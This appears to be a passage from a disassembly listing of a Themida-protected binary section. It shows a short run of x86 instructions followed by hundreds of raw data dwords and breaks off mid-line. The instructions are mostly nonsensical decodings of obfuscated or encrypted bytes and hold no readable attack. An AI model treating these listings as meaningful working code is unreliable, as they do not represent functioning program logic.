short loc_5E15CA shr byte ptr [esi-51C5ADAAh], 1 pop ecx mov eax, 3256ABA0h pop eax fst dword ptr [esi+32h] mov cl, 26h cmpsb ; --------------------------------------------------------------------------- dd 4050A76Fh, 22808Fh db 63h, 6 ; --------------------------------------------------------------------------- loc_5E15CA: ; CODE XREF: Themida_:005E15ABj cmp al, 0AAh xor dh, [ecx-4ECDA6B9h] push edi clc mov ds:0E0CCC71h, eax mov esp, 954BA3DEh pop ecx and eax, 0EE15EF49h in eax, dx jge short loc_5E1637 xor dl, [edx-29h] in eax, 7Bh into pop eax mov edi, 0ACB13256h rcl dword ptr [ecx-3CAAB26Dh], 1 or [edi], esi ; --------------------------------------------------------------------------- db 0C5h ; --------------------------------------------------------------------------- idiv dword ptr [esi-75h] adc bl, [ebp+3Ch] enter 5337h, 0B1h mov edx, 5DBDB259h loc_5E160B: ; CODE XREF: Themida_:005E1592j push esi xor bh, [esi-4ECDAFDAh] push edi pop ecx mov esp, 3256ABB1h mov cl, 0D5h mov edi, 56EAB13Fh arpl [eax], ax and ah, cl push 7EDF3DC0h icebp wait mov al, 1Dh mov cl, 0AEh stosb xor dh, [ecx-4EC520A8h] stosd loc_5E1637: ; CODE XREF: Themida_:005E15E5j push esi cmp eax, 3256D733h mov cl, 8Ah aaa xor dh, [ecx-4ECB2286h] mov edx, 9C3A5256h add eax, 56AED06Bh mov dword ptr [ecx-4ECD51A9h], 0B133DFA4h aad 56h into mov bl, 0EAh push esi xor dh, [eax-3] inc ebx insb xor [edx-7Ch], esi push ebx mov cl, 5Dh db 36h push esp xor [esi+72h], dh iret ; --------------------------------------------------------------------------- db 0D0h, 8Fh, 51h dd 56A9B137h, 56C4B134h, 56C8B114h, 567EB3F4h, 59DAB132h dd 565DB1BBh, 8C5E3132h, 0A357B153h, 37CBD152h, 9DCE71B3h dd 308BD3E3h, 37F75789h, 30DAB132h, 59DC53B3h, 0AACF4BB9h dd 3037B132h, 0AF2046B9h, 4152BE53h, 59EAB132h, 5675A0B4h dd 56B65832h, 142B132h, 0EC2176BAh, 762FC4Dh, 56AB0DA6h dd 0A3D5B1CBh, 308AB132h, 56146EB9h, 56B8E732h, 5DB1CBh dd 83825730h, 0D731805Ch, 375D2AF3h, 453CB132h, 0E5EAB132h dd 0C4EB566Fh, 90E8A41Ah, 563B5E52h, 0EEE49B5Ah, 0BF049327h dd 56ABB135h, 0C80C9111h, 0DF7FFD4Dh, 0BF209536h, 56BAB122h dd 616B60CAh, 856CBC96h, 7959B822h, 1DB1740Eh, 372B3AAFh dd 308AD162h, 0E9AADD8Dh, 3755376Ah, 37ED0753h, 0C6CF2CA1h dd 0FDAD942Eh, 293568A2h, 0CD7F247Eh, 297468A1h, 0CDDF247Eh dd 0C6CC6FB3h, 5AB4FED4h, 0B2AEB132h, 644B37Fh, 2AC4FF7Bh dd 0CB5EEB37h, 8AA52453h, 0D71E0BD7h, 125137F3h, 56515847h dd 0CBDAB132h, 0CFB75220h, 3A78E6Ch, 0CA48EA58h, 56EABADBh dd 5BD18632h, 5FAA62F0h, 93619E3Ch, 688677B3h, 50BEC82Dh dd 0B0ABB132h, 24A86515h, 0C8B2CF1h, 0CA7A226Ah, 6BA3A97h dd 56545860h, 84F3B132h, 480E1191h, 59BE7DCDh, 0BF87E103h dd 56EAB13Bh, 86E633FFh, 0AA557FFBh, 0BF6CBEB7h, 56AEB134h dd 6BC35694h, 0EF13200h, 125CE968h, 368AB516h, 0E06D0E54h dd 0CADB52B8h, 565DB4DBh, 99801832h, 0D731D46Eh, 0BF7EF9C4h dd 56D5B134h, 4B1E7634h, 37E8D2A0h, 37983F6Ah, 0DA52B132h dd 56AEB125h, 56595852h, 0B833B132h, 3E21010Ch, 237869Ch dd 625AF593h, 56DBD052h, 5DDEBE32h, 0BFAEB132h, 5657B134h dd 0EB23FCCAh, 56D5B6B1h, 0BFEAB1C7h, 5675B120h, 7B60E8DCh dd 0D20C7427h, 7BBF56C4h, 0F3ACDB68h, 56AB8819h, 59D5B1C7h dd 56EAA8BFh, 56615832h, 0A338B132h, 377A9D58h, 1C46069Eh dd 0F51513CCh, 0C0093B9Dh, 562D3350h, 56EA4D32h, 36843B52h dd 56BABADBh, 0CB48C432h, 95A4CEB3h, 7A1B2471h, 3D443054h dd 59B4D069h, 56EAB0BCh, 56754D32h, 36BAB1C7h, 0B0500F54h dd 56AD3D3Dh, 0BED7B132h, 56ABD026h, 56D43B3Dh, 5613B132h dd 46F0BE32h, 0BFBAB132h, 565DB139h, 855E13E6h, 0DD6D08F9h dd 564EF80Bh, 56C65832h, 0FBDDB132h, 543047D0h, 0CE7FB387h dd 9E5914B8h, 0A9053D7h, 0BF57B1B7h, 56ABB13Ah, 0ACE71C35h dd 4F50682Eh, 0DD7AB132h, 56BAB138h, 565DB4DBh, 41DE432h dd 56571776h, 0B12BD152h, 565ABE70h, 37EAB132h, 5675B6DBh dd 793E4932h, 23E678C6h, 59AEB153h, 5657BDB6h, 5024BE32h dd 59D5B132h, 56EAB1BDh, 56705832h, 25EDB132h, 56F16CCDh dd 5E27BE32h, 5957B132h, 56ABB3BCh, 56B4D132h, 56F85832h dd 0E237B132h, 0D48D2C69h, 0A660B03Fh, 3D7A0436h, 4A3023E5h dd 5C42B132h, 8FD5B132h, 64D19E23h, 0ADF3369Ah, 0BFBAB1A3h dd 565DB134h, 0AFF24373h, 5657C53Ch, 0BFABB1CEh, 56D5B13Ah dd 0E9CE7414h, 36F39B1Eh, 4753B132h, 0AC5DB132h, 0C02E9AD4h dd 0A7874442h, 309FC15Dh, 0BF58D2BDh, 5612B132h, 56785832h dd 1A3BB132h, 9458BFCAh, 0DF9FED18h, 56EC1CF4h, 5E2FBE32h dd 59D5B132h, 56EAB3BDh, 3614D132h, 56B8313Dh, 90D6B132h dd 87950A54h, 5957B153h, 56ABACBAh, 453DD132h, 6FEAB132h dd 3595B094h, 123B31DEh, 48F3E0BDh, 0B69EDDF7h, 60F214Ah dd 56ABD068h, 0AED5B1CBh, 0E1E5E652h, 0A3F5EFC8h, 56BAD0CDh dd 565C3A3Dh, 5657B132h, 57D0BE32h, 0AEABB132h, 562CB132h dd 59B8D132h, 5675B1BCh, 0D1B5EF32h, 565DB122h, 56AEBBDAh dd 642A9132h, 0F69CCA98h, 0E940123h, 36EAB153h, 25C04AB9h dd 59BAB153h, 565DA6B5h, 56BC5832h, 0B9E8B132h, 0E2E943Dh dd 54D15681h, 26214D0Ch, 0C9569922h, 5646B132h, 565D4D32h dd 850F0E52h, 504A9FEh, 56CAEE6Ah, 0D7B3D132h, 0BE6352F8h dd 5675B13Bh, 286433DCh, 3F645A2Ah, 8019BE5Bh, 5BBED06Ch dd 0ABABB132h, 0F515DC3Eh, 0C17C6017h, 3CFDC5Ch, 0D6DAB132h dd 0AE3C9FE1h, 5E47B132h, 6057B132h, 63372C2Ch, 56574418h dd 56EA4D32h, 56665952h, 8EAFB132h, 6A3BD220h, 71BFB0ABh dd 59E9177Eh, 4B8CA948h, 9054D768h, 0EFB2667Ch, 6CAEB4BAh dd 0AABAB153h, 565DBEDBh, 0CBE3E632h, 0C88E393Bh, 0B47C4A1Eh dd 0F537D9BAh, 0BF8AB132h, 5675B126h, 1F6D79C4h, 7E3C7A29h dd 1832B128h, 28C92A2Ah, 0F3D584EAh, 0D9DAD0C7h, 56EAB133h dd 0BF75B1CBh, 56BAB13Eh, 0ABCF3445h, 5424BE7Ch, 601B26A6h dd 0D1A4B132h, 56D5B13Eh, 56EAB6DBh, 3139A732h, 6A47B954h dd 58B4B132h, 0BFAEB132h, 224FD0E9h, 0AE31B253h, 876ACE6Eh dd 0AEEAB11Ah, 5689B132h, 56BA4D32h, 565358CBh, 7971B132h dd 33A173ABh, 0D0676C6Dh, 7E399A10h, 4203B132h, 0C75B132h dd 33DF0566h, 796E1FFEh, 0BA37005Fh, 0F623F844h, 560F6706h dd 0DDB3D132h, 56EAD0FDh, 98C2BE52h, 36DB45B8h, 565E3A3Dh dd 9E2EB132h, 50D5BEE1h, 59ABB132h, 56D5B1B7h, 56EAD032h dd 3675B1CEh, 59793A54h, 565DB1B1h, 56AED032h, 3657B1C7h dd 0DD7A3054h, 56D5D04Ch, 59EAB1CBh, 5675B6B7h, 5738BE32h dd 0A35DB132h, 0A3AEB1CEh, 56AEB132h, 3057D132h, 25CE6BB3h dd 0BFEAB153h, 5675B134h, 0A779F15Dh, 565DBA4Ah, 56AE48CEh dd 5957B1CAh, 56ABB0B5h, 56D54D32h, 36EAB1CEh, 56783E3Dh dd 5E53B132h, 915DB132h, 1B55A3B2h, 307EBD4Bh, 37F44488h dd 59D5B1C7h, 56EABBBFh, 3715D132h, 56BA303Dh, 563CB132h dd 56A35832h, 3FFDB132h, 0B3FCA396h, 1D39EDE5h, 56310B01h dd 5EFEBE32h, 59BAB132h, 565DB3B8h, 56CFD132h, 57D3BE32h dd 0AEABB132h, 8754D752h, 0DDE5EC3Ch, 5675B131h, 377D0E3Dh dd 56A4B132h, 4A27BE32h, 3657B132h, 4542D052h, 5D5B132h dd 9C8DC1EAh, 4B42DFB3h, 50ED1C18h, 0A9DD3B37h, 59CFABB2h dd 5657ABB4h, 5142D132h, 0EBD5B132h, 570D97A7h, 509D3B65h dd 73BAB132h, 7D7EE575h, 56CFEE9Dh, 56AE4432h, 4526BE32h dd 36D5B132h, 7EDF0854h, 5675B9DBh, 57D61532h, 73B7065Ch dd 56AED040h, 565F333Dh, 0DFA4B132h, 56D5B130h, 56EAD052h dd 5675BEDBh, 11D70C32h, 0A9DCAC9Eh, 393C1EE9h, 469DC579h dd 36CBB132h, 0DD6952B2h, 3716D0C5h, 9FA43052h, 59FE7C9Fh dd 565DB0B4h, 56CF4D32h, 56595832h, 132DB132h, 68800CA0h dd 21EACADFh, 911B20C6h, 0BEDAB132h, 565DB139h, 0D0B0608Fh dd 73F1142Eh, 0A3B04614h, 593CD069h, 3FEAB132h, 89B19EE6h dd 248C5E82h, 0C63B8ECEh, 56AE9EC3h, 9F953052h, 30FE222Ch dd 56B47EB9h, 56EA4932h, 56645852h, 5B6DB132h, 0A2AEC136h dd 7DCC78DFh, 75B7709Eh, 0BFE61D65h, 56D5B13Eh, 0EC4B03CEh dd 0CA9505A3h, 4525FD1Ch, 0AE5DB153h, 0DDA1B132h, 5657B123h dd 56A0343Dh, 503CB132h, 9BEAB132h, 0EA7B005Ah, 59BAB162h dd 565DB6B4h, 5721BE32h, 0AE57B132h, 5142B132h, 1FD5B132h dd 0B37401FAh, 5675EE4Ah, 36BAB1CEh, 30973A54h, 4DAD60B3h dd 5957B153h, 56ABA4B5h, 56C55832h, 56A1B132h, 3D241395h dd 0A9CC8BE0h, 0B9BBB7D4h, 56AEA0BEh, 3657B1CEh, 0A820EA60h dd 59D5B153h, 56EAB6BBh, 0DD13D132h, 37D107F4h, 595DB1CBh dd 56AEA1B1h, 5CD2BE32h dd 0BFABB132h, 56D5B137h, 8EF9AC04h, 3675B102h, 8E124C8Ch dd 0A5D6D70Eh, 36AEB153h, 0BF900E3Dh, 56ABB137h, 0ED8EDB88h dd 56EAD0FDh, 5674333Dh, 3643B132h, 36830E3Dh, 0D66F0489h dd 56D1BE27h, 37ABB132h, 0BFD5B153h, 56EAB139h, 2F704ED9h dd 0E5CAF5A6h, 564E522Dh, 56AE4832h, 87DCD752h, 56ABBEDBh dd 6D57FC32h, 93EFD2B5h, 0C7FB1F73h, 0FCAEE812h, 595DB153h dd 56AEB0B0h, 59374932h, 56ABB4B0h, 0B754D732h, 1F5389DFh dd 3710F4FEh, 0D2B5B132h, 565DB13Eh, 9715D752h, 689130B7h dd 37A2532Ch, 0DB023152h, 56E8353Dh, 922B132h, 0BFBAB153h dd 565DB139h, 2D7B70C9h, 0D0E36E5Ah, 5667A468h, 5758BE32h dd 0A3EAB132h, 0D37AB132h, 56BAB13Eh, 565B373Dh, 0D5A1B132h dd 5657B132h, 3657B132h, 56C23F3Dh, 4702B132h, 3F75B132h dd 3A81C094h, 129C997Ch, 0D08E097Dh, 98A290Ch, 0C44A3069h dd 37B55244h, 4703B132h, 9175B132h, 0A6A5BB21h, 1EB0BC04h dd 0A6509917h, 0E9F8CF6Dh, 0D6A4B132h, 56D5B13Eh, 56EC393Dh dd 0DA7AB132h, 56BAB132h, 56A1B132h, 56AE4432h, 564D3F3Dh dd 59CBB132h, 56D5B1B9h, 56E75832h, 0BBDDB132h, 33D2C007h dd 0BD057CA3h, 379802CBh, 0D637B132h, 0DDCDB6FCh, 56D5D0E5h dd 56EF353Dh, 5915B132h, 36DB728Dh, 0DD7678B2h, 56AED0CAh dd 55D6BE52h, 30ABB132h, 5E3D79B9h, 17EAB132h, 74023F2Eh dd 0C5E9800h, 0BF5DB153h, 56AEB13Eh, 0C45428ECh, 6D80B29h dd 1F58720Eh, 0D5E5B132h, 5675B133h, 0A3BAB1CBh, 0BFA8B132h dd 56AEB126h, 4D47A81Dh, 7BA7212h, 0F8F5A10Ah, 0AADA090Dh dd 921E4247h, 0D4B5B132h, 565DB133h, 56BA58CBh, 0E86AB132h dd 0F4113966h, 6D7332D4h, 2D918F09h, 0FD2B26B4h, 56BA885Ch dd 56453F3Dh, 0BECEB132h, 5657B122h, 5EF7E2A0h, 8657D1B1h dd 85392916h, 1F623FCEh, 56BAD069h, 5651313Dh, 0DFA1B132h dd 5657B134h, 56AB363Dh, 36B5B132h, 56EAA1DAh, 0D5DAC332h dd 7C6C738Bh, 3CC35E9Ah, 75AD49B5h, 0D731EAFAh, 37BD5BF9h dd 56B473B9h, 5B02D132h, 6875B132h, 0C095C7D8h, 6D065BE7h dd 0EB252FACh, 5657BFDAh, 7B472F32h, 0F5515D75h, 0F4D10E7Bh dd 9E4D62Fh, 0E305D768h, 565DD0D1h, 5E46D1CBh, 0F757B132h dd 674C67BBh, 599CED10h, 30B4608Dh, 56147AB9h, 56BF5832h dd 0AC35B132h, 56DAD8A8h, 5ED6BE32h, 59ABB132h, 56D5B3B5h dd 568BD132h, 57F7BE32h, 0AFBAB132h, 303DB132h, 0DD22AE8Ch dd 5657D0E5h, 56B9383Dh, 5B3CB132h, 0D0EAB132h, 0E699C244h dd 5D847A20h, 0BAA57B7Eh, 565BB132h, 56574832h, 5E2CBECAh dd 59D5B132h, 56EAB3BDh, 5614D132h, 5E3DBE32h, 595DB132h dd 56AEB3B5h, 5636D132h, 8E2AD132h, 0C24973Bh, 0BE6BD763h dd 372FA2E4h, 0D9B5B132h, 565DB133h, 36AEB1CAh, 5657BBDBh dd 0F5B16C32h, 0FFDF5C35h, 0E63BE2CFh, 5675D0DBh, 0A3E84452h dd 565DD068h, 3B613052h, 0E143F322h, 56ABD049h, 56C23C3Dh dd 0DCE5B132h, 5675B123h, 56BABDDBh, 0DD6FB532h, 55337E83h dd 0AB116744h, 59ABB128h, 56D5B2BDh, 3713D132h, 5E9CB132h dd 0D2BAB132h, 0A3C2AF5Ah, 569DFCD7h, 57D4BE32h, 0AAABB132h dd 0D0DAB132h, 56EAB135h, 0D68C3B52h, 36DB52E7h, 0EE3B72B9h dd 56CFA3D3h, 8FD7D132h, 9C3208DDh, 56B4FCB8h, 56E45832h dd 5A98B132h, 0F09AA9CFh, 5EEB6538h, 4E9CFA1Fh, 56A2B132h dd 5B42D132h, 0A9D5B132h, 69F8CDEAh, 792F910Eh, 0F2B6CF58h dd 565E393Dh, 0DDC8B132h, 0D458D0CCh, 56ABB13Ah, 4A243052h dd 37E62619h, 5915B132h, 56BAB2BDh, 40953132h, 5A5D3054h dd 5657D0D8h, 56ABBADBh, 0B9131A32h, 0F8C3DDDEh, 1F1136D4h dd 0D6B5B132h, 565DB135h, 59F1E152h, 56364E85h, 56AB4932h dd 56D5B6DBh, 149E5232h, 0E959F387h, 5353B132h, 0FB5DB132h dd 9A20B287h, 56AFB132h, 56AC5832h, 0F1F2B132h, 6E99B391h dd 3675B160h, 563DBE64h, 0C5DB132h, 0BFAEB153h, 5657B135h dd 648716B8h, 56AF5AF1h, 0E9E5D132h, 0D713D1ECh, 308B31E5h dd 5AE158B3h, 56AED053h, 5657B8DBh, 0DDDC0C32h, 0FE334876h dd 56EA0C49h, 3675B1CEh, 56BAB9DBh, 0CC049F32h, 87F2FBA4h dd 56364D3Dh, 0DCA4D132h, 56D5B132h, 39353054h, 5675D030h dd 0F7CD0E52h, 5CB4A048h, 15AEB132h, 0F7D77D65h, 4BBC838Ah dd 56D5D078h, 56EABBDBh, 1D417232h, 29555C9h, 5640F2B9h dd 56BD5832h, 23CDB132h, 0B948AA93h, 0E9F2FB91h, 11F3BDFBh dd 5E59B46Ah, 0AFBAB141h, 0D752B132h, 56AEB121h, 5657BFDBh dd 201A9132h, 72EB4B76h, 85471F0Ch, 5654B224h, 5C33BE32h dd 365DB132h, 0BF403054h, 85DCD798h, 59ABB153h, 56D5B0B3h dd 56124432h, 0D47AD132h, 56BAB134h, 565D3E3Dh, 0E217B132h dd 3725D883h, 5142B132h, 0C9D5B132h, 1317E27Bh, 5675D3F5h dd 56BAB8DBh, 0E02F9132h, 9FF3C49Ch, 5657E5C0h, 56BD353Dh dd 0BFB5B132h, 56EAB13Dh, 954BE286h, 563B9525h, 1EE9080Fh dd 377572D0h, 56A2B132h, 5829BE32h, 0BFD5B132h, 56EAB13Bh dd 0C0BEFBDDh, 0A3F0A82Bh, 595DB190h, 56AEA9B6h, 56445832h dd 0CD87B132h, 134AFC0h, 9EE4F4D8h, 0A28B76Dh, 462EA4E0h dd 0AA5DB17Eh, 5652B132h, 56455832h, 57D9B132h, 425AF006h dd 0BCD6902h, 0E63BB501h, 0A99633D6h, 51B4B132h, 9CAEB132h dd 23F104BCh, 56AB7CD7h, 4659BE52h, 0BFEAB132h, 5675B139h dd 72AB1DA9h, 5CA569F9h, 37B36CC4h, 0D558B132h, 56ABB138h dd 0C4070B52h, 0E1E5ABFDh, 5675D0FBh, 0BFBAB1C7h, 565DB13Bh dd 69E9F7E2h, 41D5E029h, 0BFABB15Fh, 56D5B13Dh, 770B313Eh dd 16A7784Fh, 5261F73Eh, 59154984h, 56AEA8B7h, 56435832h dd 7A6CB132h, 1B266660h, 0FBB195D3h, 0DB4B440Ch, 0D30AA424h dd 565D9D57h, 56AF303Dh, 0AEA2B132h, 0A357B132h, 593CB132h dd 6AEAB132h, 0DA6BA61Fh, 49FB15A4h, 25E82C93h, 56AE14E7h dd 56445852h, 0EB62B132h, 0B52F3228h, 0A774550Eh, 0A3B09FFh dd 0A5D3E247h, 50DBBEADh, 59AEB132h, 5657B1B4h, 56ABD032h dd 56DD3E3Dh, 0DCE5B132h, 5675B130h, 5642D052h, 564D5832h dd 3DB1B132h, 6218C142h, 956EFED5h, 0AA96AD96h, 56EAA8ACh dd 0BE360952h, 5352D273h, 0C45DB132h, 7CF83D8h, 3636EEC7h dd 20D53188h, 8154D708h, 568B07A2h, 56754D32h, 36BAB1C7h dd 0B6DC70B9h, 2F592D86h, 0BF57B153h, 56ABB121h, 7B06E302h dd 0FB99BC06h, 0AB728234h, 0C543BA23h, 599C2E38h, 56AEB0B1h dd 56574932h, 5C26BECEh, 0BFD5B132h, 56EAB137h, 5BD8A9D2h dd 0AEBAB1E0h, 0D652B132h, 56AEB135h, 56563C3Dh, 5653B132h dd 5155BE32h, 59EAB132h, 5675B0B8h, 56BA4832h, 56503C3Dh dd 5E47B132h, 0C257B132h, 0CBBEC464h, 56DFCEB3h, 0B76AD132h dd 5675D013h, 97304452h, 90D6D153h, 3761063Dh, 56AEB132h dd 0E9A4D132h, 56C558F8h, 7998B132h, 8D52C7E0h, 0CD69B105h dd 0AC2750F9h, 56CF3EA6h, 565B5832h, 580B132h, 0F5FD21F5h dd 370F207Fh, 0D47A36B0h, 56BAB12Ah, 565DA2DBh, 4E25CA32h dd 5B53395Ch, 85059DF1h, 0B99CC25Bh, 0E680F0DBh, 0BF15B132h dd 56BAB126h, 0DAC6078Bh, 0FE9D102Fh, 0BD6CC76Ch, 0CF79C900h dd 0CB79767Dh, 0E060A54h, 567D5853h, 3B11B132h, 0E9097287h dd 56AE6EAEh, 5649373Dh dd 0D3A4B132h, 56D5B12Ah, 56EAA2DBh, 0A41E8032h, 695C277Ch dd 1CC8B892h, 0D6FCE6ABh, 0C4DEF4C5h, 5B42B132h, 55D5B132h dd 8D6F9721h, 5B0EE6Fh, 40E0F00Bh, 0BEA53A52h, 56AEB138h dd 0EB57B0F4h, 6CE61379h, 9454A0F5h, 6B027CEBh, 5675D06Ah dd 56B43E3Dh, 5FB4B132h, 8AAEB132h, 399D6C57h, 92C474C1h dd 5629B132h, 56EA4D32h, 5675B4DBh, 0F4F0E532h, 56A87BE4h dd 56BF5832h, 0E8C5B132h, 95D01771h, 209D39F0h, 419BFBCFh dd 56F9F160h, 0E1B5D132h, 565DD0F5h, 56AE44C7h, 5657A3DBh dd 0D2641332h, 7F8597D6h, 7F9EF198h, 9FB6A9D4h, 56774DDAh dd 50B4D132h, 65AEB132h, 59936ECAh, 0A94F0892h, 56B488AFh dd 0E1E5D132h, 375301F9h, 5943B132h, 565DA8BCh, 56BA5832h dd 4C5EB132h, 81DC9805h, 487A664Ch, 936632A6h, 6D49D910h dd 56BA49BBh, 565DA5DBh, 989A2932h, 0CCD7CEE5h, 6BB13E15h dd 63E124E9h, 0BC7E300h, 5975B183h, 56BAB9BFh, 0D452D132h dd 56AEB132h, 3657B153h, 1E7E66B3h, 0EDB3ECF9h, 568B239Eh dd 58F7BE32h, 0BFBAB132h, 565DB13Bh, 0ED1DFDB0h, 3142C695h dd 0BE21D12Bh, 56B4B587h, 0FBCD132h, 0AA656BB3h, 0BFDBC629h dd 565DB135h, 53C5035Ch, 56F8512Fh, 5E24BE32h, 59D5B132h dd 56EAB3B5h, 5614D132h, 56BA4432h, 5640363Dh, 0D6A1B132h dd 5657B125h, 56ABA3DBh, 77A7BC32h, 0A43C6B1Ah, 0BC269139h dd 4D13017Bh, 565EBD59h, 56BE5832h, 157EB132h, 0FC7F3F49h dd 8E5D037Fh, 0EE34C53Dh, 5675F6FBh, 59BAB1CBh, 565DBCB4h dd 56A65832h, 0C4E9B132h, 6781D83Ah, 562D815Dh, 5762BE32h dd 0A375B132h, 59BAB1CEh, 565DA0B2h, 3B1AD132h, 5657B6DAh dd 0C0F28332h, 43C24B7Dh, 56EAD06Ah, 4FFFBE52h, 0BFBAB132h dd 565DB126h, 88F40899h, 5C121F34h, 51DB8983h, 7FD3C2E2h dd 0BCE51F42h, 567D5853h, 0C213B132h, 7C86EDC6h, 56AE1E09h dd 91DDD1CEh, 0B82AD761h, 378A415Fh, 0D78AB132h, 4CA865F2h dd 56AE5825h, 0FDECB132h, 933C8C29h, 681F9DAh, 0B935EBCBh dd 7FE92786h, 0A38B5F2Ch, 568CB132h, 0D7DCD132h, 593D8FC1h dd 56AEB3B5h, 3736D132h, 30CBB132h, 0D39463B3h, 55995FB3h dd 5614A59Ch, 56B55832h, 10FFB132h, 16E663B3h, 0D24EFAD0h dd 146F85CCh, 36D5B157h, 0DB930E54h, 5675BDDBh, 965A9932h dd 769A0EEh, 0DF5B2A37h, 0BF37D0D0h, 56ABB13Fh, 0BC210B30h dd 8CCCCF76h, 0F47C356h, 5439BEA4h, 365DB132h, 56AED053h dd 0EE314952h, 56CA83A1h, 56C65832h, 2180B132h, 1B883A6Ch dd 473DF889h, 5174167Fh, 0F7AC0871h, 56574D98h, 0BFABB1CAh dd 56D5B13Fh, 0CEA597Fh, 6E63573Dh, 5B4B6F2Dh, 595DB1DCh dd 56AEA7B0h, 56465832h, 8E2AB132h, 72B185ECh, 0B26A58CEh dd 0C0D577A0h, 562A8862h, 564F5832h, 8B1EB132h, 68604895h dd 427BEDh, 0A0779B02h, 88A58B37h, 5975B1CBh, 56BAB9B5h dd 54D8BE32h, 36AEB132h, 3657B153h, 8E2AD752h, 593CD804h dd 1EAB132h, 0A7FB7FFFh, 0B57A1C6Fh, 0FF3C2B70h, 37CFB7A8h dd 56AEB132h, 56AB4432h, 56DA5852h, 0E339B132h, 0B420F87Bh dd 86C1ACBCh, 660CE875h, 0D6A1D06Dh, 5657B13Eh, 2312D752h dd 5657BEB4h, 37EAB132h, 0BE15B132h, 56BAB122h, 0C581CB69h dd 3207322Dh, 2B8E8849h, 8FD29143h, 0BF8CE965h, 56EAB134h dd 34436E28h, 56DB14D0h, 4FD7BE32h, 59AEB132h, 5657A2B7h dd 56A55832h, 0BE6CB132h, 7EC992FEh, 0E26B7E6Eh, 3AC1F8C5h dd 565C3E3Dh, 5652B132h, 5FDBBE32h, 36ABB132h, 306D7FB2h dd 3735138Bh, 5675A5DBh, 5124F332h, 6FA21E0Ch, 145A6367h dd 90DC107h, 6451618Ah, 59D5B163h, 56EAB9BBh, 54F7BE32h dd 36BAB132h, 365DB153h, 0C8130F54h, 90D0C98Ch, 56ABD05Bh dd 5351BE52h, 0EEEAB132h, 50694280h, 377B0E3Dh, 565DA2DBh dd 0FF264832h, 142B99F1h, 0E14426DFh, 0DFCE207h, 483583C2h dd 5A9CB132h, 0FABAB132h, 0DAC9CFh, 3802664h, 0AA85A353h dd 0E2CBB132h, 3029D145h, 3739A488h, 0BF75B153h, 56BAB123h dd 3C72EB12h, 0C10ABD4Ch, 32B71D6Eh, 0FBB53732h, 59D5B1F1h dd 56EAA5BFh, 567A5832h, 0C06FB132h, 8E265481h, 0B64A6FBAh dd 0DC5E3EDEh, 36ABB1CEh, 0BD540A54h, 56EF373Dh, 0D713B132h dd 37F93EF2h, 0D452B132h, 56AEB133h, 0BF57B1CBh, 56ABB123h dd 854ABD35h, 8692113Ah, 404ADD08h, 780326E5h, 0BF5DB1F5h dd 56AEB139h, 0A809114Ch, 0F085675Ch, 56FEF08Ah, 56FB5832h dd 5F03B132h, 132AEBA1h, 7328570Eh, 454BAAC1h, 5630FA12h dd 932BD132h, 56D5D01Bh, 56EABADBh, 0D4547D32h, 4FA5D8F5h dd 0E8D23AD2h, 5656B132h, 5ADCBE32h, 59ABB132h, 56D5B7B8h dd 566ABE32h, 5675B132h, 56B65832h, 1BDFB132h, 0B79EC228h dd 19D4F483h, 56AB88B3h, 9854D752h, 0D8E55166h, 5675B134h dd 56BA353Dh, 563CB132h, 0E9C8D132h, 0D358BCB3h, 56ABB126h dd 56D5BEDBh, 21F3AD32h, 31DAA775h, 860549A1h, 0F1370FE9h dd 0A3AEB153h, 53BEB132h, 0FBABB132h, 4096DF67h, 56EAA0DBh dd 83856532h, 160420D6h, 0D606A80Ah, 98DFB254h, 56572AB8h dd 56A8333Dh, 0A3B5B132h, 0A3EAB153h, 3689B132h, 56BD5852h dd 9538B132h, 97D4EF36h, 46BED194h, 39ABB132h, 0BC61E238h dd 22C6A0B6h, 70DE67D7h, 0DD17981Fh, 0AA3CD0E2h, 56AEB1DAh dd 0BCD6EB32h, 50B02310h, 5750BE52h, 0AEEAB132h, 37BD3A54h dd 599C0352h, 0DB3C6E8Dh, 4C34CDB7h, 0D4DE4834h, 50B0CBB1h dd 8F5ED752h, 56E83A3Dh, 91FEB132h, 2B383C53h, 595BAD79h dd 56AEB0B0h, 0DFAF4932h, 4DD125B0h, 5754BE34h, 0AFEAB132h dd 5641C9DAh, 5A32BE32h, 0BF5DB132h, 56AEB135h, 0A8D3A879h dd 0BEE97506h, 56D5B0CDh, 0A86876CBh, 5673AA4Bh, 59BAB132h dd 565DB0B4h, 0AEFC4832h, 5F9234F4h, 0BFFDB727h, 56D5B120h dd 5D3EA4A0h, 923F9FC0h, 0FE8F3BBAh, 7857F1D2h, 0D2A1C060h dd 5657B133h, 0EEF9D9CEh, 59B52D9Ah, 0A98B7F8Dh, 435DA087h dd 0D3374934h, 5045C38Eh, 56AEB4DBh, 734A5932h, 8654C5D9h dd 56D5BCDBh, 1FBAB732h, 0EEFC4AECh, 885ECDF8h, 0D3D4595Ah dd 50BBA42Bh, 5657B6DBh, 0DC54C32h, 46F7AC8Dh, 56F3303Dh dd 429CB132h, 28BAB132h, 398A8FCDh, 7D5C34h, 55D7EFD8h dd 4E4559h, 3CB4A9D6h, 56824436h, 3675B122h, 0DC9458B2h dd 1635D0D8h, 0AEAEB23Fh, 0D058B158h, 56ABB133h, 59054ECAh dd 56EAB7B7h, 0EC13D132h, 0CDB8310h, 565C343Dh, 5D52B132h dd 0BFD3BEF2h, 0AEABB132h, 0A85738CAh, 0BFECAA4Bh, 5675B13Ch dd 29E0A1E0h, 52EB991Fh, 5F5BAA11h, 0D4DE6BA2h, 50B0CB1Dh dd 5B9508CAh, 0DD16B131h, 964648CAh, 361042C7h, 6C750A54h dd 56AEA1DBh, 0A276B732h, 8ACA0659h, 155CC5D2h, 1C27AAA9h dd 0D47AD013h, 56BAB13Eh, 98E3D752h, 5625BEF9h, 3757B132h dd 52C14960h, 56D5A3DBh, 74756432h, 0EB86F6B8h, 0C9E31C3Eh dd 0EB692C34h, 3EBF4EA5h, 5657A132h, 52ABD9CBh, 5E3CB132h dd 84EAB132h, 854D6BB0h, 3CE9D8C1h, 40DFBE32h, 0BFAEB132h dd 5657B123h, 0D90A1049h, 91BFEF46h, 0C56BD8F3h, 0CCB7AA0h dd 4F284EEFh, 0BF5BA427h, 56AEB13Eh, 0E24A407Ch, 9D7BFEFEh dd 7E0361B6h, 56FB5868h, 0F6ABB132h, 835DDB4Ch, 63208433h dd 0AFC316B3h, 0DF63FD2Fh dd 4DD705B0h, 575FBE34h, 0AAEAB132h, 0D25D153h, 0EFBE7EB3h dd 0DD3CC009h, 4DD74FB7h, 59AFD134h, 95CA7185h, 56DB5852h dd 23B132h, 675CC862h, 0BA8D569Eh, 6FD558A6h, 56AEB8DBh dd 0FAB9A732h, 1FF967C8h, 36B401FAh, 9F6876C7h, 5673A431h dd 